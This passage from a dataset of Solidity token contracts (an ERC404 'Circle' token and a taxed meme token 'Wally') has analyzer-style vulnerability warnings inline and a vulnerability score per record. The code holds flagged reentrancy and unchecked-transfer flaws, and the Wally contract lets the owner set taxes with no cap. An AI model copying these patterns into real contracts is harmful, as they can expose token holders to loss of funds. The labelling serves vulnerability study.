128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n ? 1\n : 0\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nabstract contract Ownable {\n event OwnershipTransferred(address indexed user, address indexed newOwner);\n\n error Unauthorized();\n\n error InvalidOwner();\n\n address public owner;\n\n modifier onlyOwner() virtual {\n if (msg.sender != owner) revert Unauthorized();\n\n _;\n }\n\n constructor(address _owner) {\n if (_owner == address(0)) revert InvalidOwner();\n\n owner = _owner;\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n function transferOwnership(address _owner) public virtual onlyOwner {\n if (_owner == address(0)) revert InvalidOwner();\n\n owner = _owner;\n\n emit OwnershipTransferred(msg.sender, _owner);\n }\n\n function revokeOwnership() public virtual onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(msg.sender, address(0));\n }\n}\n\nabstract contract ERC721Receiver {\n function onERC721Received(\n address,\n address,\n uint256,\n bytes calldata\n ) external virtual returns (bytes4) {\n return ERC721Receiver.onERC721Received.selector;\n }\n}\n\nabstract contract ERC404 is Ownable {\n event ERC20Transfer(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 amount\n );\n\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed id\n );\n\n event ERC721Approval(\n address indexed owner,\n address indexed spender,\n uint256 indexed id\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n error NotFound();\n\n error AlreadyExists();\n\n error InvalidRecipient();\n\n error InvalidSender();\n\n error UnsafeRecipient();\n\n string public name;\n\n string public symbol;\n\n uint8 public immutable decimals;\n\n uint256 public immutable totalSupply;\n\n uint256 public minted;\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n mapping(uint256 => address) public getApproved;\n\n mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n mapping(uint256 => address) internal _ownerOf;\n\n mapping(address => uint256[]) internal _owned;\n\n mapping(uint256 => uint256) internal _ownedIndex;\n\n mapping(address => bool) public whitelist;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalNativeSupply,\n address _owner\n ) Ownable(_owner) {\n name = _name;\n\n symbol = _symbol;\n\n decimals = _decimals;\n\n totalSupply = _totalNativeSupply * (10 ** decimals);\n }\n\n function setWhitelist(address target, bool state) public onlyOwner {\n whitelist[target] = state;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a6c1526): ERC404.ownerOf(uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for a6c1526: Rename the local variables that shadow another component.\n function ownerOf(uint256 id) public view virtual returns (address owner) {\n owner = _ownerOf[id];\n\n if (owner == address(0)) {\n revert NotFound();\n }\n }\n\n function tokenURI(uint256 id) public view virtual returns (string memory);\n\n\t// WARNING Vulnerability (erc721-interface | severity: Medium | ID: 3390810): Circle has incorrect ERC721 function interfaceERC404.approve(address,uint256)\n\t// Recommendation for 3390810: Set the appropriate return values and vtypes for the defined 'ERC721' functions.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2d0b02d): ERC404.approve(address,uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 2d0b02d: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amountOrId\n ) public virtual returns (bool) {\n if (amountOrId <= minted && amountOrId > 0) {\n address owner = _ownerOf[amountOrId];\n\n if (msg.sender != owner && !isApprovedForAll[owner][msg.sender]) {\n revert Unauthorized();\n }\n\n getApproved[amountOrId] = spender;\n\n emit Approval(owner, spender, amountOrId);\n } else {\n allowance[msg.sender][spender] = amountOrId;\n\n emit Approval(msg.sender, spender, amountOrId);\n }\n\n return true;\n }\n\n function setApprovalForAll(address operator, bool approved) public virtual {\n isApprovedForAll[msg.sender][operator] = approved;\n\n emit ApprovalForAll(msg.sender, operator, approved);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amountOrId\n ) public virtual {\n if (amountOrId <= minted) {\n if (from != _ownerOf[amountOrId]) {\n revert InvalidSender();\n }\n\n if (to == address(0)) {\n revert InvalidRecipient();\n }\n\n if (\n msg.sender != from &&\n !isApprovedForAll[from][msg.sender] &&\n msg.sender != getApproved[amountOrId]\n ) {\n revert Unauthorized();\n }\n\n balanceOf[from] -= _getUnit();\n\n unchecked {\n balanceOf[to] += _getUnit();\n }\n\n _ownerOf[amountOrId] = to;\n\n delete getApproved[amountOrId];\n\n uint256 updatedId = _owned[from][_owned[from].length - 1];\n\n _owned[from][_ownedIndex[amountOrId]] = updatedId;\n\n _owned[from].pop();\n\n _ownedIndex[updatedId] = _ownedIndex[amountOrId];\n\n _owned[to].push(amountOrId);\n\n _ownedIndex[amountOrId] = _owned[to].length - 1;\n\n emit Transfer(from, to, amountOrId);\n\n emit ERC20Transfer(from, to, _getUnit());\n } else {\n uint256 allowed = allowance[from][msg.sender];\n\n if (allowed != type(uint256).max)\n allowance[from][msg.sender] = allowed - amountOrId;\n\n _transfer(from, to, amountOrId);\n }\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n return _transfer(msg.sender, to, amount);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id\n ) public virtual {\n transferFrom(from, to, id);\n\n if (\n to.code.length != 0 &&\n ERC721Receiver(to).onERC721Received(msg.sender, from, id, \"\") !=\n ERC721Receiver.onERC721Received.selector\n ) {\n revert UnsafeRecipient();\n }\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n bytes calldata data\n ) public virtual {\n transferFrom(from, to, id);\n\n if (\n to.code.length != 0 &&\n ERC721Receiver(to).onERC721Received(msg.sender, from, id, data) !=\n ERC721Receiver.onERC721Received.selector\n ) {\n revert UnsafeRecipient();\n }\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n require(balanceOf[from] >= amount, \"Insufficient balance\");\n\n require(balanceOf[from] > 0, \"No zero transfers\");\n\n balanceOf[from] -= amount;\n\n unchecked {\n balanceOf[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n return true;\n }\n\n function _getUnit() internal view returns (uint256) {\n return 10 ** decimals;\n }\n\n function _mint(address to) internal virtual {\n if (to == address(0)) {\n revert InvalidRecipient();\n }\n\n unchecked {\n minted++;\n }\n\n uint256 id = minted;\n\n if (_ownerOf[id] != address(0)) {\n revert AlreadyExists();\n }\n\n _ownerOf[id] = to;\n\n _owned[to].push(id);\n\n _ownedIndex[id] = _owned[to].length - 1;\n\n emit Transfer(address(0), to, id);\n }\n\n function _burn(address from) internal virtual {\n if (from == address(0)) {\n revert InvalidSender();\n }\n\n uint256 id = _owned[from][_owned[from].length - 1];\n\n _owned[from].pop();\n\n delete _ownedIndex[id];\n\n delete _ownerOf[id];\n\n delete getApproved[id];\n\n emit Transfer(from, address(0), id);\n }\n\n function _setNameSymbol(\n string memory _name,\n string memory _symbol\n ) internal {\n name = _name;\n\n symbol = _symbol;\n }\n}\n\n// WARNING Vulnerability (erc721-interface | severity: Medium | ID: 3390810): Circle has incorrect ERC721 function interfaceERC404.approve(address,uint256)\n// Recommendation for 3390810: Set the appropriate return values and vtypes for the defined 'ERC721' functions.\ncontract Circle is ERC404 {\n\t// WARNING Optimization Issue (constable-states | ID: 7e07562): Circle.baseTokenURI should be constant \n\t// Recommendation for 7e07562: Add the 'constant' attribute to state variables that never change.\n string public baseTokenURI =\n \"https://bafybeic5xnfzx6j2pr6dk2ezypasxpwufqhedb4q2toqs62tfba7pyz7zm.ipfs.w3s.link/\";\n\n constructor() ERC404(\"Circle\", \"CIRCLE\", 18, 1, msg.sender) {\n balanceOf[msg.sender] = 1 * 10 ** 18;\n\n _mint(address(this));\n }\n\n function setNameSymbol(\n string memory _name,\n string memory _symbol\n ) public onlyOwner {\n _setNameSymbol(_name, _symbol);\n }\n\n function tokenURI(uint256 id) public view override returns (string memory) {\n require(id == 1, \"Invalid token ID\");\n\n return string(abi.encodePacked(baseTokenURI, \"square.jpg\"));\n }\n}\n", "file_name": "solidity_code_10298.sol", "size_bytes": 24776, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Wally is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: be4f71b): Wally._taxWallet should be immutable \n\t// Recommendation for be4f71b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84b5218): Wally._finalBuyTax should be constant \n\t// Recommendation for 84b5218: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9311261): Wally._finalSellTax should be constant \n\t// Recommendation for 9311261: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"Wally The Emotional Support Alligator\";\n\n string private constant _symbol = unicode\"WALLY\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01f0a8a): Wally._taxSwapThreshold should be constant \n\t// Recommendation for 01f0a8a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4cb221e): Wally._maxTaxSwap should be constant \n\t// Recommendation for 4cb221e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 708a21c): Wally.caBlockLimit should be constant \n\t// Recommendation for 708a21c: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6f4551): Wally.caLimit should be constant \n\t// Recommendation for a6f4551: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bfa229f): Wally.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bfa229f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 09addc3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 09addc3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 15617e9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 15617e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 09addc3\n\t\t// reentrancy-benign | ID: 15617e9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 09addc3\n\t\t// reentrancy-benign | ID: 15617e9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 06da6bf): Wally._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 06da6bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 15617e9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 09addc3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ce4adbd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ce4adbd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a561c4d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a561c4d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f402c24): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f402c24: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: ce4adbd\n\t\t\t\t// reentrancy-eth | ID: a561c4d\n\t\t\t\t// reentrancy-eth | ID: f402c24\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ce4adbd\n\t\t\t\t\t// reentrancy-eth | ID: a561c4d\n\t\t\t\t\t// reentrancy-eth | ID: f402c24\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a561c4d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a561c4d\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: ce4adbd\n\t\t\t\t// reentrancy-eth | ID: f402c24\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ce4adbd\n\t\t\t\t\t// reentrancy-eth | ID: f402c24\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f402c24\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ce4adbd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f402c24\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f402c24\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ce4adbd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ce4adbd\n\t\t// reentrancy-events | ID: 09addc3\n\t\t// reentrancy-benign | ID: 15617e9\n\t\t// reentrancy-eth | ID: a561c4d\n\t\t// reentrancy-eth | ID: f402c24\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6e833a1): Missing events for critical arithmetic parameters.\n\t// Recommendation for 6e833a1: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: 6e833a1\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: 6e833a1\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: 6e833a1\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: 6e833a1\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: 6e833a1\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: bd7f71f): Wally.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for bd7f71f: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: bd7f71f\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ce4adbd\n\t\t// reentrancy-events | ID: 09addc3\n\t\t// reentrancy-eth | ID: a561c4d\n\t\t// reentrancy-eth | ID: f402c24\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bc9341d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bc9341d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e0b6c06): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e0b6c06: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b5be879): Wally.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b5be879: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a51c770): Wally.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a51c770: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 95b618a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 95b618a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: bc9341d\n\t\t// reentrancy-benign | ID: e0b6c06\n\t\t// reentrancy-eth | ID: 95b618a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e0b6c06\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: e0b6c06\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: bc9341d\n\t\t// unused-return | ID: a51c770\n\t\t// reentrancy-eth | ID: 95b618a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bc9341d\n\t\t// unused-return | ID: b5be879\n\t\t// reentrancy-eth | ID: 95b618a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bc9341d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 95b618a\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: bc9341d\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10299.sol", "size_bytes": 22139, "vulnerability": 4 }
